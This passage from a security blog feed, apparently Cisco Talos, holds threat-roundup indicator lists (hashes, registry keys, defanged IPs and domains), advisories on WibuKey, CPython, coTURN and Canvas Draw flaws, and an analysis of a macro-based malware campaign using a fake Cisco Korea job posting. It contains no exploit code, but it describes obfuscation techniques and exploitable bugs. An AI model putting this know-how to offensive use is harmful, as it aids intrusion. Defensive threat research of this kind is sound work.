    • caa71fe55c039c34b917a568a5325dee1ab6bbd7e343672b23dd3a498b2c21c6
    • e8f63eab9292aeb9f3b6adb62df6eb338ff28ff06faefa7fbbeae10e7e04927b

    Coverage


    Screenshots of Detection

    ThreatGrid



    Umbrella



    Malware



    Win.Malware.Zusy-6822787-0


    Indicators of Compromise


    Registry Keys
    • N/A
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • N/A
    Domain Names contacted by malware. Does not indicate maliciousness
    • N/A
    Files and or directories created
    • %System32%\config\SYSTEM
    • %System32%\config\SOFTWARE
    • %System32%\Tasks\Update
    • %LocalAppData%\Temp\A1DE8592.tmp
    • %LocalAppData%\Microsoft Help\restewbes.exe
    File Hashes
    • 066d2ec864546e803031799ceb753c0729fd3fea5fee39ea32c7663cbc49ac4c
    • 0acd289c882b13ee2ab19fc065e675257f1be2795c5a9335db1be072b91137cc
    • 131c42eed549e4ac2995b6490cf5850e8713c7cacd3a5f6e8e0663d6e66a8bdb
    • 17ee81bccd57621bfaf7da158b68c11da1d3fd633f632ee1505823b022b7aeaa
    • 1deea19fa1060fdd6c5be36b6e8fd0dab37d17f4bf8e3adc418d4a28bc2e7753
    • 1f794910366228e4e66c3accd298d7159de6709370060edab157dceff6366fd9
    • 383c76d17194d3f95579b607f472f8b7eeef27280ab71f17c13f6d02c5e9891d
    • 4292bb14f28f0b6c2caf51f765a2c923caf4ff23f4ded0d791859b295cd8ca6f
    • 47b371a3cdeb0aff41456ba7597044a01f1aaac1ede2070fe6549b1cbda78f39
    • 4b5def0798881f70fb99cd1d96bcaffadc552652205264a6a14b7661dd5c260f
    • 5189b875f1f85c6b6d6ae3cc6d2922df8d8126269c32904e66af2f93081cb0f5
    • 51ef4bd2753e8ca2eefcf0c106110bb5e0191270ba94852d0df9267e7545535d
    • 558980fb1ae5ebef3efab8dfec1659a0407b243e3ea80ce9206cdbb821e8307a
    • 5664f44cf690e8084108f87f63ec9485cf7197846eed744a0e6d5a9a50b727e3
    • 5aabbed6b1e0973a02a33e35317b8acd09902b009c2bd6d1826098c1399ca1b8
    • 5fbe5fa066cb326ad3449dda72d41c3f7c13e7e53994f8783c398cf50b565bbb
    • 5ff9243d8d9d9d91a0b808e5a48e49577673a7bc490ff2d932c95ad97861e260
    • 6e0e7073accb6f820d47af977f502ae090c9a485a01e2f4844fa23b630aba3b5
    • 7df09dd5811ae5b81ff5a7b8f24058fde4d4033774733b9c944f9333636eca4a
    • 7eabab9ef1146639dc2c5ff6b81745741483a62df6453386f045f5ac011e2fbd
    • 82b95a38e9b61a85ef38b821f1f061bf2e089f21e53b39a76b040358f0803c5f
    • 8a61accd073ef7868fdfed4e18833f8edcfca716afac37cec88e03130617d3ca
    • 8eb4332282fde7742e91f4e4652842d95e953e9921b0580a17e2f9fa70a0bcf3
    • 8f3b61b93e8f2a2e5c20cfd9dfefd836ab5fc1fff5e60bba7e4d291c190afb87
    • 92c07c6c53d2eceba6b5563c6b701b10a5d74af3e82f06e7caddeb5e74ae7f0f

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid



    Win.Malware.Ursu-6822222-0


    Indicators of Compromise


    Registry Keys
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\ibpvucix
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: Type
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: Start
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: ErrorControl
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: DisplayName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: WOW64
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: ObjectName
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: Description
    • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\IBPVUCIX
      • Value Name: ImagePath
    Mutexes
    • N/A
    IP Addresses contacted by malware. Does not indicate maliciousness
    • 216[.]239[.]34[.]21
    • 255[.]255[.]255[.]255
    • 239[.]255[.]255[.]250
    • 69[.]55[.]5[.]250
    • 68[.]178[.]213[.]37
    • 172[.]217[.]6[.]196
    • 66[.]218[.]85[.]52
    • 66[.]218[.]85[.]151
    • 212[.]82[.]101[.]46
    • 104[.]47[.]2[.]33
    • 74[.]6[.]141[.]40
    • 74[.]6[.]137[.]65
    • 98[.]136[.]102[.]54
    • 5[.]9[.]32[.]166
    • 46[.]4[.]52[.]109
    • 208[.]71[.]35[.]137
    • 98[.]137[.]159[.]25
    • 74[.]6[.]137[.]63
    • 176[.]111[.]49[.]43
    • 85[.]25[.]119[.]25
    • 144[.]76[.]199[.]2
    • 144[.]76[.]199[.]43
    • 98[.]137[.]159[.]26
    • 104[.]47[.]44[.]33
    • 172[.]217[.]197[.]27
    • 66[.]218[.]85[.]139
    • 67[.]195[.]228[.]141
    • 212[.]227[.]17[.]8
    • 98[.]137[.]157[.]43
    • 208[.]76[.]51[.]51
    • 144[.]160[.]235[.]144
    • 104[.]47[.]9[.]33
    • 98[.]137[.]159[.]27
    • 43[.]231[.]4[.]7
    • 194[.]25[.]134[.]72
    • 213[.]209[.]1[.]129
    • 188[.]125[.]73[.]87
    • 64[.]136[.]52[.]37
    • 193[.]201[.]76[.]57
    • 98[.]136[.]101[.]117
    • 67[.]195[.]229[.]59
    • 98[.]137[.]159[.]28
    • 74[.]208[.]5[.]20
    • 74[.]208[.]236[.]137
    • 104[.]47[.]10[.]33
    • 192[.]0[.]47[.]59
    • 216[.]146[.]35[.]35
    • 74[.]6[.]137[.]64
    • 208[.]76[.]50[.]50
    • 144[.]160[.]159[.]22
    • 82[.]165[.]229[.]15
    • 40[.]76[.]4[.]15
    • 67[.]195[.]229[.]58
    • 8[.]20[.]247[.]20
    • 89[.]39[.]105[.]12
    • 213[.]180[.]147[.]146
    • 68[.]114[.]188[.]69
    • 203[.]138[.]180[.]240
    • 195[.]46[.]39[.]40
    • 199[.]212[.]0[.]46
    • 157[.]240[.]18[.]174
    • 167[.]181[.]46[.]232
    • 109[.]69[.]8[.]51
    • 212[.]77[.]101[.]4
    • 209[.]85[.]203[.]26
    • 17[.]133[.]229[.]14
    • 17[.]133[.]229[.]13
    • 17[.]57[.]8[.]135
    • 17[.]57[.]8[.]138
    • 17[.]57[.]8[.]136
    • 17[.]178[.]97[.]79
    • 17[.]172[.]34[.]70
    • 216[.]40[.]42[.]4
    • 17[.]142[.]163[.]10
    • 195[.]4[.]92[.]217
    • 173[.]194[.]76[.]27
    • 117[.]46[.]9[.]103
    • 157[.]240[.]18[.]63
    • 142[.]169[.]1[.]45
    • 64[.]233[.]166[.]26
    • 87[.]240[.]190[.]68
    • 87[.]240[.]180[.]136
    • 172[.]217[.]192[.]26
    • 207[.]69[.]189[.]229
    • 104[.]47[.]53[.]36
    • 69[.]168[.]106[.]65
    • 104[.]44[.]194[.]232
    • 104[.]44[.]194[.]236
    • 168[.]95[.]5[.]113
    • 168[.]95[.]5[.]218
    • 207[.]46[.]8[.]199
    • 70[.]169[.]223[.]215
    • 168[.]95[.]6[.]60
    • 85[.]13[.]131[.]232
    • 208[.]80[.]206[.]91
    • 204[.]96[.]26[.]100
    • 94[.]229[.]138[.]130
    • 79[.]96[.]161[.]121
    • 66[.]175[.]131[.]136
    • 204[.]246[.]122[.]94
    • 74[.]126[.]144[.]79
    • 212[.]159[.]9[.]200
    • 52[.]206[.]51[.]15
    • 185[.]164[.]14[.]22
    Domain Names contacted by malware. Does not indicate maliciousness
    • t-online[.]de
    • sbcglobal[.]net
    • myway[.]com
    • searchsingleshere[.]com
    • emig[.]freenet[.]de
    • charter[.]net
    • ff-ip4-mx-vip2[.]prodigy[.]net
    • excellentrxinc[.]su
    • freenet[.]de
    • fastonlinevalue[.]com
    • ev1[.]net
    • cableone[.]net
    • globetrotter[.]net
    • relay[.]globetrotter[.]net
    • bexldo[.]net
    • e-timetoroar[.]net
    • genericpillsinc[.]com
    • buziaczek[.]pl
    • rulovers[.]cn
    • karina[.]rubeauty[.]cn
    • kristina93[.]loversru[.]cn
    • bestprivateinc[.]ru
    • bestdrugassist[.]ru
    • bestfamilyeshop[.]com
    • hb[.]tinkerfcu[.]org
    • curingbestvalue[.]com
    • fastfastvalue[.]su
    • fastpharmeshop[.]com
    • acninc[.]net
    • curinghotsale[.]su
    • fastgenericsdeal[.]su
    • goodbestdeal[.]su
    • globalcarestore[.]su
    • fastremedymall[.]ru
    • ameritech[.]net
    • classoneequipment[.]com
    • chiclleida[.]com
    • ferbravo[.]euskalnet[.]net
    • scan-associates[.]net
    • condor2[.]telapex[.]com
    • commonhouse[.]net
    • codasoundusa[.]com
    • newonthenet[.]net
    • e-wholesaler[.]net
    • cgce[.]net
    • chopanov[.]com
    • westbournehouse[.]w-sussex[.]sch[.]uk
    • spideroak[.]com
    • cfw[.]me[.]uk
    • banking[.]achievacu[.]com
    • lucky-star[.]com[.]pl
    • franjadeponent[.]net
    • coffincheatersmc[.]org
    Files and or directories created
    • %WinDir%\SysWOW64\config\systemprofile:.repos
    • %WinDir%\SysWOW64\config\systemprofile
    • %WinDir%\SysWOW64\ibpvucix\
    • %LocalAppData%\Temp\gphgpbfw.exe
    File Hashes
    • 06331cb6eb8673a49614b3cf67f302cf7a3b5ea18b8bb7d004884cea8f196a83
    • 15ce5b3be486d7fe23f3115531ed6642587e3dff9bbfb5fef43ece0ed0cdb3f4
    • 198afede85accadb3c147dc92ac2f04866e2e2bbeea7ec1333f73e6a8d76a04d
    • 20edb680512a8741667e2652de74649da18542399acdd8dbdc9bc7121f422f40
    • 23c8d65f46d2aeb395e25e63dcf0d417703f7a54b501fb40aebc554061384bfa
    • 25f41a5ebb1175763d5eeb509a9b2fe559fdfd94a0d1a4736b7b766f9ba6363b
    • 2c224aa21be4c3f8bce2e13c0ddb04ce5ec9cdc1480c172d5e0e4e15fdee2c44
    • 2e889d267181a338b3c100a69417ee0a145820ab2aea59939d8bb6ccf56f3aef
    • 3223a9b86a93b8869b44d7d8d2a7e98de99ddd0e1a5050dd7d708c087f18458e
    • 32d7daae4063be4c3cf70d4cb43f0079d53c66170edbcba8282da98d49a7dbbe
    • 33def1029bdf7c6675d05d5f224749026a32717392ef848bb0a35b7d6a8f29b9
    • 40ad8820abac31fcf2219adb68218cb93765895995cb66f50dca15908d364752
    • 471866dd10a5be75f2119d718325aa4026ed267bae3ad29cb08cec747b11e4ea
    • 49f79b464c4130f0ff3a0c2b0d3336b0f6b8f51f56164f21b5ca7315424ea39e
    • 536c227b86419e3a60bc53b317001b6b8cb9894215a8431542867f4fd10f98ec
    • 53802104e558d3689a2f99347a69302fd459ee82615428cde09c28b4f7543541
    • 54064cacc8929ef3581370dd311be773d6f3cc45fab81d3a37552b1e854b770d
    • 61cfcad8b188a5dda449b76b070092eaa48ecad62c059b4795d3bcbb1e9581e6
    • 66ed081ce04cc7e9b321695e153f237f0f430a1dd103e719c8a3812afe148455
    • 6fb3f86955fd966f04ede90e33d2b9ae749b7b44a0a5fea78dca6a66387b5b92
    • 747cae3430aeeecc86f846ba3bcaad9645ac6a6c0cedc5c027c2b8b3ad1d561e
    • 75d9e8e6bc72e53881b4b8cd9daba1c13da9761cfafa560f57410ec8078ad675
    • 7e08971c510b3fd9d85876a9a057ba601c38da13173bbda1abe54e05074b22b1
    • 8a0b4a3b97122043e1ab8225b331fc4069ba150a275bc77316abc23841feda69
    • 8c3de5bbdd6542a6d0c828764b1f47a37a4cad07834bec2fc9c7ac31316834f0

    Coverage


    Screenshots of Detection

    AMP



    ThreatGrid




    Umbrella



    ↧
    ↧

    Vulnerability Spotlight: Multiple WIBU SYSTEMS WubiKey vulnerabilities

    January 28, 2019, 7:05 am
    $
    0
    0

    Marcin "Icewall" Noga of Cisco Talos discovered these vulnerabilities.

    Executive Summary


    Cisco Talos discovered two vulnerabilities that could allow remote code execution and memory disclosure at the kernel level in WIBU-SYSTEMS WibuKey. WibuKey is a USB key designed to protect software and intellectual properties. It allows the users to manage software license via USB key. A third vulnerability is located in userland and can be triggered remotely, as it's located in the network manager.

    In accordance with our coordinated disclosure policy, Talos worked with WIBU SYSTEMS to ensure that these issues are resolved and that an update is available for affected customers.



    Vulnerabilities Details


    WIBU-SYSTEMS network server management remote code execution vulnerability (TALOS-2018-0659/CVE-2018-3991)


    This vulnerability is a heap overflow vulnerability located in the WIBU-SYSTEMS WibuKey Network server management. By default, a server is running in Windows system as a service and listens on port 22347. A specially crafted TCP packet sent to this port can be used to exploit this vulnerability.

    For additional information, see the full advisory here.

    WIBU-SYSTEMS WibuKey.sys privilege escalation vulnerability (TALOS-2018-0658/CVE-2018-3990)


    The WIBU-SYSTEMS WibeKey application partially runs in kernel space. The loaded kernel driver is named "WibuKey.sys." The communication between userland et kernel space is possible thanks to the IOCTL handler. The vulnerability is located in the 0x8200E804 IOCTL. A specially crafted IRP request can cause a buffer overflow, resulting in kernel memory corruption. That vulnerability leads to pool corruption and can be turned on by the attacker into arbitrary code execution and privilege escalation.

    For additional information, see the full advisory here.

    WIBU-SYSTEMS WibuKey.sys kernel memory information disclosure (TALOS-2018-0657/CVE-2018-3989)


    The vector of this vulnerability is similar to TALOS-2018-0658. It's located in a different function, but is accessible via the same IOCTL. This vulnerability can allow an attacker to read kernel memory information from the userland.

    For additional information, see the full advisory here.

    Version Tested


    Talos tested and confirmed WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400) - Windows 7 x86 is affected by this vulnerability.

    Conclusion


    One of the vulnerabilities can be exploited remotely. Due to this vulnerability, an attacker could execute code as administrator on the vulnerable system. The attacker could combine this remote code execution with an additional vulnerability on the same product to execute arbitrary code in kernel space.






    Coverage

    The following SNORTⓇ rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

    Snort Rules: 47750, 47751

    ↧

    Vulnerability Spotlight: Python.org certificate parsing denial-of-service

    January 28, 2019, 11:12 am
    $
    0
    0

    Colin Read and Nicolas Edet of Cisco Talos discovered these vulnerabilities.

    Executive summary

    Python.org contains an exploitable denial-of-service vulnerability in its X509 certificate parser. A specially crafted X509 certificate can cause a NULL pointer dereference, resulting in a denial of service. Python can crash if getpeercert() is called on a TLS connection, which uses a certificate with invalid DistributionPoint in its extension.

    In accordance with our coordinated disclosure policy, Cisco Talos worked with Python to ensure that these issues are resolved and that an update is available for affected customers.

    Vulnerability details

    Python.org CPython X509 certificate parsing denial-of-service vulnerability (TALOS-2018-0758/CVE-2018-5010)

    A denial-of-service vulnerability exists on Python.org in its X509 certificate parser. An attacker could exploit this bug by delivering a specially crafted X509 certificate to Python.org. Python assumes a valid distpoint. And if the certificate contains a crafted certificate DistributionPoint with both a blank distributionPoint and cRLIssuer, it could cause a NULL pointer dereference, leading to a denial of service.

    For more information on this vulnerability, read the complete advisory here.

    Versions tested

    Talos tested and confirmed that versions 2.7.11, 3.6.6, 3.5.2 and 3 master at 480833808e918a1dcebbbcfd07d5a8de3c5c2a66 of Python.org CPython are affected by this vulnerability.




    Coverage

    The following SNORTⓇ rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

    Snort Rules: 48854, 48855

    ↧
    Search

    Vulnerability Spotlight: Multiple vulnerabilities in coTURN

    January 29, 2019, 7:37 am
    $
    0
    0

    Nicolas Edet of Cisco discovered these vulnerabilities.

    Executive summary

    Today, Cisco Talos is disclosing three vulnerabilities in coTURN. coTURN is an open-source implementation of TURN and STUN servers that can be used as a general-purpose networking traffic TURN server. TURN servers are usually deployed in so-called “DMZ” zones — any server reachable from the internet — to provide firewall traversal solutions.

    In accordance with our coordinated disclosure policy, Cisco Talos worked with coTURN to ensure that these issues are resolved and that an update is available for affected customers.

    Vulnerability details

    coTURN administrator web portal SQL injection vulnerability (TALOS-2018-0730/CVE-2018-4056)

    An exploitable SQL injection vulnerability exists in the administrator web portal function of coTURN. A login message with a specially crafted username can cause an SQL injection, resulting in authentication bypass, which could give access to the TURN server administrator web portal. An attacker can log in via the external interface of the TURN server to trigger this vulnerability.

    For more information on this vulnerability, read the full advisory here.

    coTURN TURN server unsafe loopback forwarding default configuration vulnerability (TALOS-2018-0723/CVE-2018-4058)

    An exploitable unsafe default configuration vulnerability exists in the TURN server function of coTURN. By default, the TURN server allows relaying external traffic to the loopback interface of its own host. This can provide access to other private services running on that host, which can lead to additional attacks. An attacker can set up a relay with a loopback address as the peer on an affected TURN server to trigger this vulnerability.

    For more information on this vulnerability, read the full advisory here.

    coTURN server unsafe telnet admin portal default configuration vulnerability (TALOS-2018-0733/CVE-2018-4059)

    An exploitable unsafe default configuration vulnerability exists in the TURN server function of coTURN. By default, the TURN server runs an unauthenticated telnet admin portal on the loopback interface. This can provide administrator access to the TURN server configuration, which can lead to additional attacks. An attacker who can get access to the telnet port can gain administrator access to the TURN server.

    For more information on this vulnerability, read the full advisory here.

    Versions tested

    Talos tested and confirmed that all versions of coTURN prior to 4.5.0.9 are affected by these vulnerabilities.

    Coverage

    The following SNORTⓇ rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.

    Snort Rules: 48456 - 48458

    ↧

    Vulnerability Spotlight: Multiple vulnerabilities in ACD Systems Canvas Draw 5

    January 30, 2019, 8:23 am
    $
    0
    0

    Tyler Bohan of Cisco Talos discovered these vulnerabilities. Vanja Svajcer authored this blog post.

    Cisco Talos is disclosing several vulnerabilities in ACD Systems' Canvas Draw 5, a graphics-editing tool for Mac. The vulnerable component of Canvas Draw 5 lies in the handling of TIFF and PCX images. TIFF is a raster-based image format used in graphics editing projects, thus making it a very common file format that's used in Canvas Draw. PCX was a popular image format with early computers, and although it's been replaced by more sophisticated formats, it is still in use and fully supported by Canvas Draw.

    In accordance with our coordinated disclosure policy, Cisco Talos worked with ACD Systems to ensure that these issues are resolved and that an update is available for affected customers.

    Vulnerability Details

    ACD Systems Canvas Draw 5 FillSpan out-of-bounds write code execution vulnerability (TALOS-2018-0638/CVE-2018-3973) 

    TALOS-2018-0638 is an exploitable out-of-bounds write vulnerability that exists in the TIFF-parsing function of Canvas Draw, version 5.0.0. A specially crafted TIFF image processed via the application can lead to an out-of-bounds write, overwriting arbitrary data. An attacker can deliver a TIFF image to trigger this vulnerability and gain code execution.

    An address influenced by the parsed image is loaded into a register and the lower four bytes are then zeroed out in memory. When this value is used later in function `DIB_resolution_set`, it causes an out-of-bounds write and an exploitable condition to arise.

    For more information, read the full advisory here.

    ACD Systems Canvas Draw 5 IO metadata out-of-bounds write code execution vulnerability (TALOS-2018-0642/CVE-2018-3976)

    TALOS-2018-0642 is an exploitable out-of-bounds write vulnerability that exists in the CALS Raster file format parsing function of Canvas Draw, version 5.0.0.28. A specially crafted CAL image processed via the application can lead to an out-of-bounds write, overwriting arbitrary data. An attacker can deliver a CAL image to trigger this vulnerability and gain code execution.

    The vulnerability arises in the parsing of the CALS Raster file format, specifically dealing with the column and row sizes of an image. Inside of the CALS header, values are set to determine the location of image data and the size of the image itself. By passing in incorrect values, the application will write out of array bounds, attempting to access the image data.

    For more information, read the full advisory here.

    ACD Systems Canvas Draw 5 huff table out-of-bounds write code execution vulnerability (TALOS-2018-0648/CVE-2018-3980)

    TALOS-2018-0648 is an exploitable out-of-bounds write vulnerability that exists in the TIFF parsing functionality of Canvas Draw, version 5.0.0.

    The vulnerability arises in the parsing of a tiled TIFF image with the Adobe Deflate compression scheme. This compression algorithm is not part of the TIFF standard algorithms but was added as an extension from Adobe and uses a lossless Deflate compression scheme utilizing the zlib compressed data format. The Canvas Draw application supports this compression format and is able to handle files using it.

    The vulnerability may be triggered while attempting to build a Huffman table. Huffman coding is one of the two things that make up the deflate encoding scheme. When using the deflate encoding scheme the application takes user data directly from the TIFF image without validation.

    For more information, read the full advisory here.

    ACD Systems Canvas Draw 5 Resoultion_Set out-of-bounds write code execution vulnerability (TALOS-2018-0649/CVE-2018-3981)

    TALOS-2018-0649 is an exploitable out-of-bounds write vulnerability that exists in the TIFF parsing functionality of Canvas Draw version 5.0.0. A specially crafted TIFF image processed via the application can lead to an out-of-bounds write, overwriting arbitrary data. An attacker can deliver a TIFF image to trigger this vulnerability and gain code execution.

    The vulnerability arises in the parsing of a tiled TIFF image with a specially crafted resolution tag and data. A user influenced address is loaded into a processor register and the lower four bytes are then zeroed out in memory. This value is used later in `DIB_resolution_set` function, where it causes an out-of-bounds write and an exploitable condition to arise.

    For more information, read the full advisory here.

    Affected versions

    The vulnerabilities are confirmed in the Canvas Draw version 5.0.0.28, but they may also be present in the earlier versions of the product. Users are advised to apply the latest security update for their version.

    Conclusion

    Familiar file formats that are routinely shared in a work environment make tempting targets for attackers as the targets not may consider familiar image files as being potentially malicious. The TIFF and PCX file formats are regularly used in the graphic design industry and for the distribution of certain documents such as fax messages.

    The complexity of image file formats means there are ample opportunities for vulnerabilities to be inadvertently included in programs that parse them.



    Coverage

    The following SNORT® rules detect attempts to exploit these vulnerabilities. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For all current rule information, please refer to your Firepower Management Center or Snort.org.

    Snort rules: 39593 - 39596, 39599 - 39632, 47336, 47337
    ↧
    ↧

    Fake Cisco Job Posting Targets Korean Candidates

    January 30, 2019, 11:19 am
    $
    0
    0

    Edmund Brumaghin and Paul Rascagneres authored this post, with contributions from Jungsoo An.

    Executive summary


    Cisco Talos recently observed a targeted malware campaign being leveraged in an attempt to compromise specific organizations. The infection vector associated with this campaign was a Microsoft Word document that was disguised as a job posting for Cisco Korea, and leveraged legitimate content available as part of job postings on various websites. EST Security also described this campaign in a blog post this week. This malicious Office document appears to have been the initial portion of what was designed to be a multi-stage infection process.

    During our analysis of this campaign, we located additional samples that we believe are linked to multiple previous campaigns associated with the same threat actor. Each of the campaigns leveraged malicious documents and initial stage payloads that all featured similar tactics, techniques, and procedures (TTP). Due to the targeted nature of this campaign, the lack of widespread indicator of compromise data, and the apparent nature of the targeting, this appears to be associated with a sophisticated attacker. This sort of attack has become more common as threat actors continue to target users to gain an initial foothold in environments. Organizations are encouraged to employ a defense-in-depth approach to security and disallow the execution of macros where possible.

     

    Malicious Office document


    The malicious document purports to relate to an employment opportunity with Cisco in Korea with the name "Job Descriptions.doc." The contents of the document match legitimate job descriptions that are available online. Below is a screenshot showing the contents of the decoy document.
    The contents of this document appear to be copied from job descriptions that are publicly available online. Here's an example of these documents:
    The file metadata associated with the Word document indicates that it may have been created in 2018, but was last saved on Jan. 29, 2019.
    The Microsoft Word document contains malicious macros that are responsible for extracting a malicious PE32 executable called "jusched.exe" (the same name than the Java updater binary) which is dropped into %APPDATA%\Roaming. The macro is obfuscated:
    The encoded string is a PE32 executable encoded with the XOR key: 0xe7. Below is the decoded value of the variable str(1), which we can identify as a PE header:
    The functionality present in the PE32 is described in the next section.

    First-stage malware payload


    Binary purpose


    The PE32 executable attempts to contact the command and control (C2) server over HTTP, presumably to retrieve additional instructions (script or PE32 executable) for execution on the infected system.
    Unfortunately, at the time of our analysis, the second-stage payload was no longer available and the HTTP requests resulted in HTTP 404 messages. The domain contacted is a legitimate website that had been compromised and was being used to host malicious content (www[.]secuvision[.]co[.]kr/).

    API obfuscation


    The attackers hid four specific API calls. The APIs are not listed in the import table, but they are loaded dynamically using GetProcAddess(). The function names are obfuscated to make static analysis more difficult. Here's one example:
    We can see the library name (kernel32.dll) but not the function name (3ez7/+r7zuzx/fvt7d8=). The string is decoded by using mathematical byte operations. Below are the decoded APIs:

        3ez7/+r7zuzx/fvt7d8= ->                        CreateProcessA()
        2vvy++r7y+zy3f/99vvb8Ors598= ->     DeleteURLCacheEntryA()
        y8zS2vHp8PLx//rK8dj38vvf ->             URLDownloadToFileA()
        y8zS0e778M3q7Pv/898= ->                  URLOpenStreamA()

    The APIs are linked to the process creation, as well as network communications. We assume the attackers were attempting to hide suspicious APIs from static analysis detection engines that use the import table. The C2 server is listed in plain text, indicating that this functionality was not implemented to thwart manual analysis.

    Links to previous campaigns


    During our analysis of this campaign, we identified several additional samples that we believe are linked to this campaign.

    Case 1


    One of these related samples was used in August 2017 and featured the filename "주요 IT 정보보호 및 보안 업체 리스트.zip" ("List of major IT information security and security companies"). The ZIP archive contains an Office document that features the same macros as the original sample, but is responsible for dropping a different PE32 executable. The macros also use the same XOR key as the original sample.
    This document describes a list of companies with a summary of their products.

    The macros were responsible for dropping a different PE32 executable, that was also called "jusched.exe." The API obfuscation algorithm used in this campaign was the same as the one used in our original sample. Below is a screenshot showing the code execution flow in both samples. On the left is the sample from August 2017. On the right is the sample from January 2019.
    The C2 server in this campaign was www[.]syadplus[.]com, which is another legitimate website that was compromised.

    The SHA256 of the Office document is: 809b1201b17a77732be3a9f96a25d64c8eb0f7e7a826c6d86bb2b26e12da7b58.

    The SHA256 of the PE32 executable is: adfb60104a6399c0b1a6b4e0544cca34df6ecee5339f08f42b52cdfe51e75dc3.

    Case 2


    The second campaign we identified was observed in November 2017. In this case, the filename was "이력서_자기소개서.xls" ("Resume _ self introduction"). Similar to the previously described campaigns, this document leveraged the same macro execution and XOR key, but was responsible for dropping another PE32 executable.
    In this campaign, the malicious document was simply an empty resume template.

    The C2 server used in this campaign was ilovesvc[.]com, another example of a legitimate website that had been compromised by the threat actor and used to host malicious content.

    The SHA256 of the Office document is: bf27c1631ef64c1e75676375a85d48f8ae97e1ea9a5f67c2beefc02c609fc18b.

    The SHA256 of the PE32 is:
    1497ab6ddccf91ef7f2cd75ce020bb3bf39979210351deaa6e0025997ddfda5a.

    Conclusion


    These campaigns demonstrate the increasingly sophisticated nature of attacks that are being leveraged by threat actors attempting to compromise organizations around the world. In this most recent campaign, the attackers took the content of legitimate job postings and used that in an attempt to add legitimacy to the malicious Office documents being delivered to potential victims. The use of the same TTPs across multiple campaigns over a long period demonstrates that this threat actor has been operational for years, and is continuing to operate to achieve their mission objectives. Cisco Talos continues to monitor the global threat landscape to ensure that customers remain protected from these as well as additional attacks that may be observed in the future.

    Coverage


    Additional ways our customers can detect and block this threat are listed below.

    Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

    Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

    Email Security can block malicious emails sent by threat actors as part of their campaign.

    Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), andMeraki MX can detect malicious activity associated with this threat.

    AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

    Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

    Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

    Indicators of Compromise (IOCs)


    The following IOCs are associated to this campaign:

    Malicious Office Documents


    7af59922d4c1b4f2d589cb2853afb543b37a1f23da0cf0180a693f9748e05906 (SHA256)
    bf27c1631ef64c1e75676375a85d48f8ae97e1ea9a5f67c2beefc02c609fc18b (SHA256)
    809b1201b17a77732be3a9f96a25d64c8eb0f7e7a826c6d86bb2b26e12da7b58 (SHA256)

    Malicious PE32 Executables


    e259aa1de48fd10b7601c4486b841428fbd6cd1a4752cf0d3bbe1799116ae6e6 (SHA256)
    cd2e8957a2e980ffb82c04e428fed699865542767b257eb888b6732811814a97 (SHA256)
    1497ab6ddccf91ef7f2cd75ce020bb3bf39979210351deaa6e0025997ddfda5a (SHA256)
    adfb60104a6399c0b1a6b4e0544cca34df6ecee5339f08f42b52cdfe51e75dc3 (SHA256)

    Domains


    It is important to note that in all of the campaigns that we observed, the domains being leveraged by the malware were legitimate websites that had been compromised by the threat actor for the purposes of hosting malicious content:

    www[.]secuvision[.]co[.]kr
    ilovesvc[.]com
    www[.]syadplus[.]com

    Below is a screenshot showing how AMP can protect customers from this threat.



    ↧

    Threat Roundup for Jan. 25 to Feb. 1

    February 1, 2019, 8:57 am
    $
    0
    0

    Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 25 and Feb. 01. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

    As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

    For each threat described below, this blog post only lists 25 of the associated file hashes. An accompanying JSON file can be found here that includes the complete list of file hashes, as well as all other IOCs from this post. As always, please remember that all IOCs contained in this document are indicators, and one single IOC does not indicated maliciousness.

    The most prevalent threats highlighted in this roundup are:

    • Win.Malware.Ircbot-6832631-0
      Malware
      Ircbot, also known as Eldorado, is known for injecting into processes, spreading to removable media, and gaining execution via Autorun.inf files.
       
    • Win.Malware.Mikey-6832636-0
      Malware
      This cluster focuses on malware that can achieve persistence. The samples have anti-analysis tricks to complicate the analysis. This family is known for the plugin architecture and for the intense network activity. This week, Win.Malware.Mikey was seen delivering credential- and data-stealing malware such as Vidar and Lokibot.
       
    • Win.Ransomware.Generickdz-6832954-0
      Ransomware
      Win.Ransomware.Generickdz is often a generic detection name for a Windows trojan. This particular signature detects malware in the Ursnif family. Ursnif is used to steal sensitive information from an infected host and can also act as a malware downloader.
       
